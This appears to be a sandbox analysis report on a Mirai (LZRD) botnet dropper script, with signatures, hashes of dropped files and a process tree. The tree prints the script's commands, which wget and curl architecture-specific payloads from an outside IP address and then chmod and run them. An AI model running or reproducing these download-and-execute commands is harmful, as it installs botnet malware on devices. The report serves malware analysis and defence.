Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2025, 06:32

General

  • Target
    ohshit.sh
  • Size 3KB
  • Sample251204-hatb6abz7b
  • SHA256 ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:710
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:715
    • /usr/bin/wget
      wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
      2⤵
      • Writes file to tmp directory
      PID:720
    • /usr/bin/curl
      curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:737
    • /bin/cat
      cat ub8ehJSePAfc9FYqZIT6.arc
      2⤵
        PID:738
      • /bin/chmod
        chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/Chaotic
        ./Chaotic
        2⤵
          PID:740
        • /usr/bin/wget
          wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
          2⤵
          • Writes file to tmp directory
          PID:742
        • /usr/bin/curl
          curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:743
        • /bin/cat
          cat ub8ehJSePAfc9FYqZIT6.x86
          2⤵
            PID:744
          • /bin/chmod
            chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/Chaotic
            ./Chaotic
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:751
            • /bin/cat
              cat ub8ehJSePAfc9FYqZIT6.x86_64
              2⤵
                PID:762
              • /bin/chmod
                chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:763
              • /tmp/Chaotic
                ./Chaotic
                2⤵
                  PID:764
                • /usr/bin/wget
                  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /usr/bin/curl
                  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:776
                • /bin/cat
                  cat ub8ehJSePAfc9FYqZIT6.i686
                  2⤵
                    PID:788
                  • /bin/chmod
                    chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:789
                  • /tmp/Chaotic
                    ./Chaotic
                    2⤵
                      PID:790
                    • /usr/bin/wget
                      wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:793
                    • /usr/bin/curl
                      curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:805
                    • /bin/cat
                      cat ub8ehJSePAfc9FYqZIT6.mips
                      2⤵
                      • System Network Configuration Discovery
                      PID:807
                    • /bin/chmod
                      chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:808
                    • /tmp/Chaotic
                      ./Chaotic
                      2⤵
                        PID:809
                      • /usr/bin/wget
                        wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
                        2⤵
                        • System Network Configuration Discovery
                        PID:811
                      • /usr/bin/curl
                        curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:812
                      • /bin/cat
                        cat ub8ehJSePAfc9FYqZIT6.mips64
                        2⤵
                        • System Network Configuration Discovery
                        PID:813
                      • /bin/chmod
                        chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:814
                      • /tmp/Chaotic
                        ./Chaotic
                        2⤵
                          PID:815
                        • /usr/bin/wget
                          wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /usr/bin/curl
                          curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:823
                        • /bin/cat
                          cat ub8ehJSePAfc9FYqZIT6.mpsl
                          2⤵
                            PID:836
                          • /bin/chmod
                            chmod +x busybox Chaotic ohshit.sh systemd-private-9ea382be3cb646f086447fcd33af24e2-systemd-timedated.service-7TgyS3 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:838
                          • /tmp/Chaotic
                            ./Chaotic
                            2⤵
                            • Modifies Watchdog functionality
                            • Writes file to system bin folder
                            • Reads runtime system information
                            PID:839
                          • /usr/bin/wget
                            wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
                            2⤵
                            • Writes file to tmp directory
                            PID:856
                          • /usr/bin/curl
                            curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:857
                          • /bin/cat
                            cat ub8ehJSePAfc9FYqZIT6.arm
                            2⤵
                              PID:861
                            • /bin/chmod
                              chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:862
                            • /tmp/Chaotic
                              ./Chaotic
                              2⤵
                                PID:863
                              • /usr/bin/wget
                                wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
                                2⤵
                                • Writes file to tmp directory
                                PID:865
                              • /usr/bin/curl
                                curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
                                2⤵
                                • Writes file to tmp directory
                                PID:866
                              • /bin/cat
                                cat ub8ehJSePAfc9FYqZIT6.arm5
                                2⤵
                                  PID:867
                                • /bin/chmod
                                  chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:868
                                • /tmp/Chaotic
                                  ./Chaotic
                                  2⤵
                                    PID:869
                                  • /usr/bin/wget
                                    wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:871
                                  • /usr/bin/curl
                                    curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:872
                                  • /bin/cat
                                    cat ub8ehJSePAfc9FYqZIT6.arm6
                                    2⤵
                                      PID:873
                                    • /bin/chmod
                                      chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:874
                                    • /tmp/Chaotic
                                      ./Chaotic
                                      2⤵
                                        PID:875
                                      • /usr/bin/wget
                                        wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:877
                                      • /usr/bin/curl
                                        curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:878
                                      • /bin/cat
                                        cat ub8ehJSePAfc9FYqZIT6.arm7
                                        2⤵
                                          PID:879
                                        • /bin/chmod
                                          chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:880
                                        • /tmp/Chaotic
                                          ./Chaotic
                                          2⤵
                                            PID:881
                                          • /usr/bin/wget
                                            wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:883
                                          • /usr/bin/curl
                                            curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:884
                                          • /bin/cat
                                            cat ub8ehJSePAfc9FYqZIT6.ppc
                                            2⤵
                                              PID:885
                                            • /bin/chmod
                                              chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:886
                                            • /tmp/Chaotic
                                              ./Chaotic
                                              2⤵
                                                PID:887
                                              • /usr/bin/wget
                                                wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
                                                2⤵
                                                  PID:889
                                                • /usr/bin/curl
                                                  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
                                                  2⤵
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:890
                                                • /bin/cat
                                                  cat ub8ehJSePAfc9FYqZIT6.sparc
                                                  2⤵
                                                    PID:891
                                                  • /bin/chmod
                                                    chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:892
                                                  • /tmp/Chaotic
                                                    ./Chaotic
                                                    2⤵
                                                      PID:893
                                                    • /usr/bin/wget
                                                      wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:894
                                                    • /usr/bin/curl
                                                      curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:895
                                                    • /bin/cat
                                                      cat ub8ehJSePAfc9FYqZIT6.m68k
                                                      2⤵
                                                        PID:896
                                                      • /bin/chmod
                                                        chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:897
                                                      • /tmp/Chaotic
                                                        ./Chaotic
                                                        2⤵
                                                          PID:898
                                                        • /usr/bin/wget
                                                          wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:900
                                                        • /usr/bin/curl
                                                          curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:901
                                                        • /bin/cat
                                                          cat ub8ehJSePAfc9FYqZIT6.sh4
                                                          2⤵
                                                            PID:902
                                                          • /bin/chmod
                                                            chmod +x busybox Chaotic ohshit.sh ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:903
                                                          • /tmp/Chaotic
                                                            ./Chaotic
                                                            2⤵
                                                              PID:904

                                                          Network

                                                                MITRE ATT&CK Enterprise v16

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                Chaotic

                                                                • Path /tmp/Chaotic
                                                                • Size 34KB
                                                                • SHA256 c13c619bb3beb9caa94910facaaa8b7947f06e475277a0cab0f0729e6e56df0b
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                Chaotic

                                                                • Path /tmp/Chaotic
                                                                • Size 36KB
                                                                • SHA256 a6464a1fa55443cb28d7eab9c74045f446e9f08dff075670b82035afbb20351d
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                Chaotic

                                                                • Path /tmp/Chaotic
                                                                • Size 35KB
                                                                • SHA256 94749f41f357a3f0d8b62d2bc3251852b0711755468aae0a390bbe42331dd549
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                Chaotic

                                                                • Path /tmp/Chaotic
                                                                • Size 37KB
                                                                • SHA256 2af6638b891578e2146bbdb84c32f92840ddc9040d85780c89141d587a1c13f9
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                Chaotic

                                                                • Path /tmp/Chaotic
                                                                • Size 82KB
                                                                • SHA256 9c1522167d7a8c83ef608740afbb89008c836c8866bd0a9e31e98214943eea34
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                busybox

                                                                • Path /tmp/busybox
                                                                • Size 857KB
                                                                • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                ub8ehJSePAfc9FYqZIT6.arc

                                                                • Path /tmp/ub8ehJSePAfc9FYqZIT6.arc
                                                                • Size 113KB
                                                                • SHA256 90b7e578af0714b52a06ee50dce6db037bae1aabf28c3876f3d2f42740443bfa
                                                                • MD5 SHA1 SHA512 SSDEEP